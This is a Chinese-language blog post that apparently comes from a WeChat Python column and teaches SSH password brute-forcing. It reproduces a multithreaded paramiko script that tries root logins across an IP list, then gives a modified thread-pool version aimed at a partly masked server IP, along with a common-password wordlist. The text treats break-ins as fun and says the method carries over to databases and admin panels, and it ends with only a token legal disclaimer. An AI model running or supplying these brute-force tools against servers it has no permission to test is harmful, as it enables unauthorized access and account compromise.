現在也有很多流行的破解軟體,不過個人覺得裝上kail其實也就啥都有了,但是今天我們不說他們,今天主題是如何使用Python來進行SSH的暴力破解。
在Github上有一個庫叫sshfucker,專門用於 SSH 的暴力破解。
https://github.com/TheKingOfDuck/sshfucker
這個模塊很簡單,代碼實現不到70行,只封裝了一個py文件。
# !/usr/bin/python python
# -*- coding: utf-8 -*-
import paramiko, threading, sys, time, os
class SSHThread(threading.Thread):
def __init__(self, ip, port, timeout, dic, LogFile):
threading.Thread.__init__(self)
self.ip = ip
self.port = port
self.dict = dic
self.timeout = timeout
self.LogFile = LogFile
def run(self):
print("Start try ssh => %s" % self.ip)
username = "root"
try:
password = open(self.dict).read().split('\n')
except:
print("Open dict file `%s` error" % self.dict)
exit(1)
for pwd in password:
try:
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(self.ip, self.port, username, pwd, timeout=self.timeout)
print("\nIP => %s, Login %s => %s \n" % (self.ip, username, pwd))
open(self.LogFile, "a").write("[ %s ] IP => %s, port => %d, %s => %s \n" % (
time.asctime(time.localtime(time.time())), self.ip, self.port, username, pwd))
break
except:
print("IP => %s, Error %s => %s" % (self.ip, username, pwd))
pass
def ViolenceSSH(ip, port, timeout, dic, LogFile):
ssh_scan = SSHThread(ip, port, timeout, dic, LogFile)
ssh_scan.start()
def main(ipFile, dic, log):
if ipFile == "-h":
help()
try:
ipText = open(ipFile).read().split('\n')
for ip in ipText:
if ip != '':
time.sleep(0.5)
threading.Thread(target=ViolenceSSH, args=(ip, 22, 1, dic, log,)).start()
except:
print("Open IP list file `%s` error" % ipFile)
exit(1)
def help():
print("python ssh.scan.py :\n\
修改dict下的ip文件,password按需求修改,然後執行腳本。 \n")
exit(1)
if __name__ == '__main__':
fpath = os.path.dirname(os.path.abspath('__file__'))
ipFile = sys.argv[1] if len(sys.argv) > 1 else fpath + "/dict/ip"
dic = sys.argv[2] if len(sys.argv) > 2 else fpath + "/dict/password"
log = sys.argv[3] if len(sys.argv) > 3 else fpath + "/log/sshd"
try:
os.system("clear")
main(ipFile, dic, log)
except KeyboardInterrupt:
exit(1)
我們可以明顯的看到,這個模塊依賴於 Paramiko
Paramiko 是用於建立 SSH2 連接(客戶端或伺服器)的庫,基於Python實現。重點是使用 SSH2 作為 SSL 的替代方法,以在 Python 腳本之間建立安全連接。支持所有主要密碼和哈希方法。也支持 SFTP 客戶端和伺服器模式。
Paramiko 庫在Python自動化運維領域很受推崇。
然後我們還可以看到這個模塊實際上就是利用 Paramiko 建立了 ssh 的客戶端連接,批量導入文件,採用多線程的方式來進行暴力破解,思路很清晰。
我們修改代碼實現如下
import sys
import paramiko
import threading
from concurrent.futures import ThreadPoolExecutor
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
is_find=False
def SshCheck(password):
try:
ssh.connect("119.23.xx.xx", 22, 'root', password, timeout=1.5)
stdin, stdout, stderr = ssh.exec_command('df')
result = stdout.read()
if result:
sys.stdout.write('[OK]' + '\t' + password + '\n')
global is_find
is_find = True
exit()
except Exception as e:
print(e, "失敗!!!")
finally:
ssh.close()
filedata = open("pwds.txt", "r")
def run():
pool = ThreadPoolExecutor(3)
while 1:
global is_find
if is_find:
break
line = filedata.readline()
if not line:
break
line = line.strip("\n")
pool.submit(SshCheck,line)
run()
採用了協程並發來進行ssh連接,如果成功破解我們就直接退出。
這裡的pwds.txt 文件用於存放破解密碼。
password
123456
12345678
1234
qwerty
12345
dragon
pussy
baseball
football
letmein
monkey
696969
abc123
mustang
michael
shadow
master
jennifer
111111
2000
jordan
...
...
回車鍵一按,叮叮,收到伺服器被入侵的簡訊!!!
你也可以用你的雲伺服器或者自己搭建的伺服器進行測試,只要 ssh驗證的ip,埠和密碼正確,即破解成功。
破解一直爽,一直破解一直爽,利用Python不僅可以對ssh進行暴力破解,資料庫,網站後臺管理也是同樣的道理,只不過使用的庫不同而已。
本文只是出於對Python的學習研究,請勿用於非法用途,小心被請喝茶喲!!
今日留言主題
請說出你的累計bug數
今日贈送書籍
恭喜 忘掉這個痛 讀者深得我心,聯繫小助手:BackToYao
· 合作、交流請關注微信公號Python專欄(ID:xpchuiit),轉載請添加微信moonhmily1